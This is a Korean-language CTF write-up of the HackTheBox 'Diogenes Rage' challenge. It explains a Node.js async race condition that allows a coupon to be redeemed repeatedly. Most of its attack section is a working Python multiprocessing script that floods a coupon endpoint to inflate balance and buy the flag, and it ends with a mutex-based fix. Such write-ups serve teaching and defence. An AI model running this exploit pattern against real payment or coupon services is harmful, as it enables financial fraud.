HacktheBox Diogenes Rage 을 풀고 싶으신가요?
Do you want to solve HacktheBox Diogenes Rage ?
[ HacktheBox#9 Diogenes Rage ]
요약 : Node.js에서 비동기 처리 방식(async)으로 인한 Race Condition 취약점
목차
- 취약점 설명
- 실 사례
- 대응 방안
1. 취약점 설명
Step#1
단일 쓰레드 Javascript 를 이용하는 node.js에서는 주로 async를 이용해서 요청을 처리하는 경우가 많다.
이러한 경우, race condition 공격을 통해 주요 검증 로직을 우회할 수 있다.
예시 ) 동시에 동일한 로직(쿠폰 소유 검증 후, $1 등록) 100개를 처리하다면, $100달러를 얻을 수 있다.
# Python program to illustrate
# the concept of race condition
# in multiprocessing
import multiprocessing
import requests
import time
def exploit(u, d, h):
for i in range(5):
requests.post(u, data=d, headers=h)
def perform_transactions(cookie, u):
url = f"http://{u}/api/coupons/apply"
data = '{"coupon_code":"HTB_100"}'
thread = []
headers = {"Content-Type" : "application/json"}
headers['Cookie'] = "session="+cookie
start = time.time()
for i in range(16):
p1 = multiprocessing.Process(target=exploit, args=(url, data, headers))
thread.append(p1)
for j in thread:
j.start()
for k in thread:
k.join()
end = time.time()
print(f"{end - start:.5f} sec")
print("Done!!")
def get_session(url):
u = f"http://{url}/api/purchase"
d = '{"item":"A2"}'
res = requests.post(u, data=d)
print(res.text)
return res.cookies['session']
def get_flag(s, url):
u = f"http://{url}/api/purchase"
d = '{"item":"C8"}'
headers = {"Content-Type" : "application/json"}
headers['Cookie'] = "session="+s
d1 = '{"item":"A1"}'
res = requests.post(u, data=d1, headers=headers)
print(res.text)
res = requests.post(u, data=d, headers=headers)
print(res.text)
return res.cookies
if __name__ == "__main__":
for i in range(10):
u = "URLSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
s = get_session(u)
perform_transactions(s, u)
res = get_flag(s, u)
time.sleep(1)
print("\n\n")
CPU 에 맞게 프로세스를 만들고 실행하니, 플래그 획득 가능~!
2. 실 사례
race condition을 통한 쿠폰 재등록 버그바운티
https://hackerone.com/reports/759247
2.1) 개발 환경 : node.js
2.2) 공격 대상 서비스 : 결제 서비스, 쿠폰 등록 서비스
2.3) 공격 포인트 Hint(서버 에러, 특정 플랫폼 버전 확인 루트 등) : 없음, 스크립트를 실행해서 결과 즉각 확인 가능
3. 대응 방안
mutex 를 이용하여 중요 코드에 진입 가능한 쓰레드 한개로 지정할 것을 권고드립니다.
npm install --save async-mutex
import { Mutex } from 'async-mutex'
const mutex = new Mutex() // creates a shared mutex instance
async function doingSomethingCritical() {
const release = await mutex.acquire() // acquires access to the critical path
try {
// ... do stuff on the critical path
} finally {
release() // completes the work on the critical path
}
}
Reference
https://www.nodejsdesignpatterns.com/blog/node-js-race-conditions/
'HACKING_GAME > WEB' 카테고리의 다른 글
HacktheBox#11 Breaking Grad (0) | 2022.02.09 |
---|---|
HacktheBox#10 AbuseHumanDB (0) | 2022.01.28 |
hackthebox#7 nginxatsu (0) | 2022.01.10 |
HacktheBox#6 Granny (0) | 2021.06.14 |
root-Me#8 NoSQL injection - Blind (0) | 2021.05.22 |